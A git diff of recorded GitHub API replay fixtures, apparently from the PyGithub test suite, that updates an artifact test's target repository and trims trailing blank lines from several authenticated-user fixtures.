'0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BDBA:9294:4077852:415F362:6347F0BB')] +[('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4681'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '319'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9444:40F8:47980C:4B23F7:64785E28')] {"message":"Not Found","documentation_url":"https://docs.github.com/rest/reference/actions#get-an-artifact"} - diff --git a/tests/ReplayData/Artifact.testGetSingleArtifactFromRepo.txt b/tests/ReplayData/Artifact.testGetSingleArtifactFromRepo.txt index 89eaf932ee..18abaf7495 100644 --- a/tests/ReplayData/Artifact.testGetSingleArtifactFromRepo.txt +++ b/tests/ReplayData/Artifact.testGetSingleArtifactFromRepo.txt @@ -2,10 +2,9 @@ https GET api.github.com None -/repos/github/vscode-codeql/actions/artifacts/378970214 +/repos/transmission-web-control/transmission-web-control/actions/artifacts/719509139 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Sep 2022 11:31:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ce0fc2843af81fc42d4196f2c6f764261d3f2fb3ad2e8252e12328e3d172e83"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '44'), ('X-RateLimit-Reset', '1664368108'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AB42:A24F:196DD8:19DBE1:63343096')] -{"id":378970214,"node_id":"MDg6QXJ0aWZhY3QzNzg5NzAyMTQ=","name":"vscode-codeql-extension","size_in_bytes":16528288,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/378970214","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/378970214/zip","expired":false,"created_at":"2022-09-28T09:47:51Z","updated_at":"2022-09-28T09:47:52Z","expires_at":"2022-12-27T09:36:05Z","workflow_run":{"id":3142419796,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/refactor-raw-results-table","head_sha":"e3e2fcc3498ab7d945a9e58f7c1458171ab0a5a7"}} - +[('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6b6a37c94fd7df8699d17b242810fca1ff325f60bf58eb436f2b58b62f890a20"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4679'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '321'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '75E8:24BA:6C48A0:71DDB9:64785E29')] +{"id":719509139,"node_id":"MDg6QXJ0aWZhY3Q3MTk1MDkxMzk=","name":"build-zip","size_in_bytes":4130747,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719509139","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719509139/zip","expired":false,"created_at":"2023-05-29T06:12:32Z","updated_at":"2023-05-29T06:12:33Z","expires_at":"2023-08-27T06:12:11Z","workflow_run":{"id":5109062352,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"b4abc8ce51271dfedb511683be21b7b48a9b2ad4"}} diff --git a/tests/ReplayData/AuthenticatedUser.testAcceptInvitation.txt b/tests/ReplayData/AuthenticatedUser.testAcceptInvitation.txt index 0d78a9471f..592323aea8 100644 --- a/tests/ReplayData/AuthenticatedUser.testAcceptInvitation.txt +++ b/tests/ReplayData/AuthenticatedUser.testAcceptInvitation.txt @@ -7,5 +7,3 @@ None {} 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4981'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D039:11DAA:17FC875:24A1090:59635F0C'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.072659'), ('x-xss-protection', '1; mode=block'), ('x-served-by', '7f48e2f7761567e923121f17538d7a6d'), ('date', 'Mon, 10 Jul 2017 11:03:40 GMT'), ('access-control-allow-origin', '*'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1499685825')] - - diff --git a/tests/ReplayData/AuthenticatedUser.testAttributes.txt b/tests/ReplayData/AuthenticatedUser.testAttributes.txt index d1e0c2d7d7..266201a81d 100644 --- a/tests/ReplayData/AuthenticatedUser.testAttributes.txt +++ b/tests/ReplayData/AuthenticatedUser.testAttributes.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"79f748546e5fc4492505a70de6542183"'), ('date', 'Tue, 08 May 2012 09:51:20 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":10,"type":"User","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"bio":"","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","disk_usage":16692,"plan":{"private_repos":5,"space":614400,"name":"micro","collaborators":1},"html_url":"https://github.com/jacquev6","blog":"http://vincent-jacques.net","login":"jacquev6","email":"vincent@vincent-jacques.net","created_at":"2010-07-09T06:10:06Z","company":"Criteo","location":"Paris, France","total_private_repos":5,"public_gists":1,"following":24,"name":"Vincent Jacques","id":327146,"owned_private_repos":5,"private_gists":5,"collaborators":0,"hireable":false,"node_id":"MDQ6VXNlcjMyNzE0Ng==","two_factor_authentication":true} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithAllArguments.txt b/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithAllArguments.txt index 113266f060..afbbae1970 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithAllArguments.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithAllArguments.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4991'), ('content-length', '382'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"41f3600b4ddb741cd59a00a88321af92"'), ('date', 'Tue, 22 May 2012 18:27:36 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/authorizations/372294')] {"scopes":["repo"],"updated_at":"2012-05-22T18:27:36Z","app":{"url":"http://vincent-jacques.net/PyGithub","name":"Note created by PyGithub (API)"},"url":"https://api.github.com/authorizations/372294","token":"b7fd2a0346d9d590b1fad5e10971e8d29637a4ce","note":"Note created by PyGithub","note_url":"http://vincent-jacques.net/PyGithub","created_at":"2012-05-22T18:27:36Z","id":372294} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithClientIdAndSecret.txt b/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithClientIdAndSecret.txt index 4d3d405f25..b897f6e271 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithClientIdAndSecret.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithClientIdAndSecret.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4991'), ('content-length', '382'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"41f3600b4ddb741cd59a00a88321af92"'), ('date', 'Tue, 22 May 2012 18:27:36 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/authorizations/372294')] {"scopes":["repo"],"updated_at":"2012-05-22T18:27:36Z","app":{"url":"http://vincent-jacques.net/PyGithub","name":"Note created by PyGithub (API)"},"url":"https://api.github.com/authorizations/372294","token":"b7fd2a0346d9d590b1fad5e10971e8d29637a4ce","note":"Note created by PyGithub","note_url":"http://vincent-jacques.net/PyGithub","created_at":"2012-05-22T18:27:36Z","id":372294} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithoutArguments.txt b/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithoutArguments.txt index a1fb20d702..e61d15eab8 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithoutArguments.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithoutArguments.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4987'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4a48781fcd24441dade6248aab748487"'), ('date', 'Tue, 22 May 2012 18:03:17 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/authorizations/372259')] {"scopes":[],"updated_at":"2012-05-22T18:03:17Z","app":{"url":"http://developer.github.com/v3/oauth/#oauth-authorizations-api","name":"GitHub API"},"url":"https://api.github.com/authorizations/372259","token":"82459c4500086f8f0cc67d2936c17d1e27ad1c33","note":null,"created_at":"2012-05-22T18:03:17Z","note_url":null,"id":372259} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateFork.txt b/tests/ReplayData/AuthenticatedUser.testCreateFork.txt index fd2474416b..63517e815f 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateFork.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateFork.txt @@ -25,9 +25,8 @@ POST api.github.com None /repos/nvie/gitflow/forks -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{} 202 [('status', '202 Accepted'), ('x-ratelimit-remaining', '4958'), ('content-length', '3486'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"92f5b171559bccda47d7ebb598ba4f73"'), ('date', 'Sat, 26 May 2012 20:23:35 GMT'), ('content-type', 'application/json; charset=utf-8')] {"parent":{"clone_url":"https://github.com/nvie/gitflow.git","has_downloads":true,"watchers":3973,"updated_at":"2012-05-26T20:23:35Z","master_branch":"develop","homepage":"http://nvie.com/posts/a-successful-git-branching-model/","url":"https://api.github.com/repos/nvie/gitflow","has_wiki":true,"has_issues":true,"fork":false,"forks":331,"size":4602,"private":false,"open_issues":92,"svn_url":"https://github.com/nvie/gitflow","owner":{"url":"https://api.github.com/users/nvie","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","login":"nvie","id":83844},"name":"gitflow","language":"Shell","description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","ssh_url":"git@github.com:nvie/gitflow.git","git_url":"git://github.com/nvie/gitflow.git","pushed_at":"2012-02-14T13:11:04Z","created_at":"2010-01-20T23:14:12Z","id":481366,"mirror_url":null,"html_url":"https://github.com/nvie/gitflow","full_name":"nvie/gitflow"},"clone_url":"https://github.com/jacquev6/gitflow.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-26T20:23:35Z","source":{"clone_url":"https://github.com/nvie/gitflow.git","has_downloads":true,"watchers":3973,"updated_at":"2012-05-26T20:23:35Z","master_branch":"develop","homepage":"http://nvie.com/posts/a-successful-git-branching-model/","url":"https://api.github.com/repos/nvie/gitflow","has_wiki":true,"has_issues":true,"fork":false,"forks":331,"size":4602,"private":false,"open_issues":92,"svn_url":"https://github.com/nvie/gitflow","owner":{"url":"https://api.github.com/users/nvie","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","login":"nvie","id":83844},"name":"gitflow","language":"Shell","description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","ssh_url":"git@github.com:nvie/gitflow.git","git_url":"git://github.com/nvie/gitflow.git","pushed_at":"2012-02-14T13:11:04Z","created_at":"2010-01-20T23:14:12Z","id":481366,"mirror_url":null,"html_url":"https://github.com/nvie/gitflow","full_name":"nvie/gitflow"},"permissions":{"pull":true,"admin":true,"push":true},"master_branch":"develop","homepage":"http://nvie.com/posts/a-successful-git-branching-model/","url":"https://api.github.com/repos/jacquev6/gitflow","has_wiki":true,"has_issues":false,"fork":true,"forks":0,"size":4602,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/gitflow","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"gitflow","language":"Shell","description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","ssh_url":"git@github.com:jacquev6/gitflow.git","git_url":"git://github.com/jacquev6/gitflow.git","pushed_at":"2012-02-14T13:11:04Z","created_at":"2012-05-26T20:23:35Z","id":4457584,"mirror_url":null,"html_url":"https://github.com/jacquev6/gitflow","full_name":"jacquev6/gitflow"} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateGist.txt b/tests/ReplayData/AuthenticatedUser.testCreateGist.txt index 130579d76d..b8d6181a76 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateGist.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateGist.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4967'), ('content-length', '1446'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4099af9b70c91fb9c1c8dc72bf773c33"'), ('date', 'Sat, 19 May 2012 07:00:58 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/gists/2729810')] {"updated_at":"2012-05-19T07:00:58Z","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729810.git","git_push_url":"git@gist.github.com:2729810.git","files":{"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729810/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","content":"File created by PyGithub","language":"Text"}},"html_url":"https://gist.github.com/2729810","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"description":"Gist created by PyGithub","created_at":"2012-05-19T07:00:58Z","id":"2729810","history":[{"change_status":{"deletions":0,"additions":1,"total":1},"url":"https://api.github.com/gists/2729810/35deb29ab1caf4c68c03d8244ad674b56de01a5c","committed_at":"2012-05-19T07:00:58Z","version":"35deb29ab1caf4c68c03d8244ad674b56de01a5c","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146}}]} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateGistWithoutDescription.txt b/tests/ReplayData/AuthenticatedUser.testCreateGistWithoutDescription.txt index 6e98cc4e00..ba5a5c9c26 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateGistWithoutDescription.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateGistWithoutDescription.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4981'), ('content-length', '1424'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7abbb6858d17ad64e3d5874676725694"'), ('date', 'Sat, 26 May 2012 09:50:03 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/gists/2793179')] {"updated_at":"2012-05-26T09:50:02Z","url":"https://api.github.com/gists/2793179","comments":0,"public":true,"forks":[],"git_pull_url":"git://gist.github.com/2793179.git","files":{"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2793179/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","content":"File created by PyGithub","language":"Text"}},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":null,"created_at":"2012-05-26T09:50:02Z","git_push_url":"git@gist.github.com:2793179.git","id":"2793179","history":[{"url":"https://api.github.com/gists/2793179/069e7c0041c34619b5aebf0e918536cb3bfeff9a","change_status":{"deletions":0,"additions":1,"total":1},"version":"069e7c0041c34619b5aebf0e918536cb3bfeff9a","committed_at":"2012-05-26T09:50:03Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}}],"html_url":"https://gist.github.com/2793179"} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateKey.txt b/tests/ReplayData/AuthenticatedUser.testCreateKey.txt index 822ec5101c..7732d9f2c1 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateKey.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateKey.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4984'), ('content-length', '505'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7261ec55c886d6bf42e48d5bf9544586"'), ('date', 'Sat, 26 May 2012 19:49:30 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/user/keys/2626650')] {"url":"https://api.github.com/user/keys/2626650","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw==","verified":true,"title":"Key added through PyGithub","id":2626650} - diff --git a/tests/ReplayData/AuthenticatedUser.testCreateMigration.txt b/tests/ReplayData/AuthenticatedUser.testCreateMigration.txt index f52b31d411..f56f5197b5 100644 --- a/tests/ReplayData/AuthenticatedUser.testCreateMigration.txt +++ b/tests/ReplayData/AuthenticatedUser.testCreateMigration.txt @@ -8,4 +8,3 @@ None 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 14:27:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '6113'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1536851865'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"effe78003c129e46e2cc58a5ac1f001d"'), ('Location', 'https://api.github.com/user/migrations/25309'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.105195'), ('X-GitHub-Request-Id', '8B80:1FE2:1A4DEF4:311C09F:5B9A73E4')] {"id":25309,"node_id":"MDk6TWlncmF0aW9uMjUzMDk=","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"guid":"30dfcaa4-b761-11e8-9fc8-2531d3207eaf","state":"pending","lock_repositories":false,"exclude_attachments":false,"repositories":[{"id":148631065,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2MzEwNjU=","name":"sample-repo","full_name":"singh811/sample-repo","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/singh811/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/singh811/sample-repo","forks_url":"https://api.github.com/repos/singh811/sample-repo/forks","keys_url":"https://api.github.com/repos/singh811/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/singh811/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/singh811/sample-repo/teams","hooks_url":"https://api.github.com/repos/singh811/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/singh811/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/singh811/sample-repo/events","assignees_url":"https://api.github.com/repos/singh811/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/singh811/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/singh811/sample-repo/tags","blobs_url":"https://api.github.com/repos/singh811/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/singh811/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/singh811/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/singh811/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/singh811/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/singh811/sample-repo/languages","stargazers_url":"https://api.github.com/repos/singh811/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/singh811/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/singh811/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/singh811/sample-repo/subscription","commits_url":"https://api.github.com/repos/singh811/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/singh811/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/singh811/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/singh811/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/singh811/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/singh811/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/singh811/sample-repo/merges","archive_url":"https://api.github.com/repos/singh811/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/singh811/sample-repo/downloads","issues_url":"https://api.github.com/repos/singh811/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/singh811/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/singh811/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/singh811/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/singh811/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/singh811/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/singh811/sample-repo/deployments","created_at":"2018-09-13T11:58:30Z","updated_at":"2018-09-13T14:27:49Z","pushed_at":"2018-09-13T11:58:31Z","git_url":"git://github.com/singh811/sample-repo.git","ssh_url":"git@github.com:singh811/sample-repo.git","clone_url":"https://github.com/singh811/sample-repo.git","svn_url":"https://github.com/singh811/sa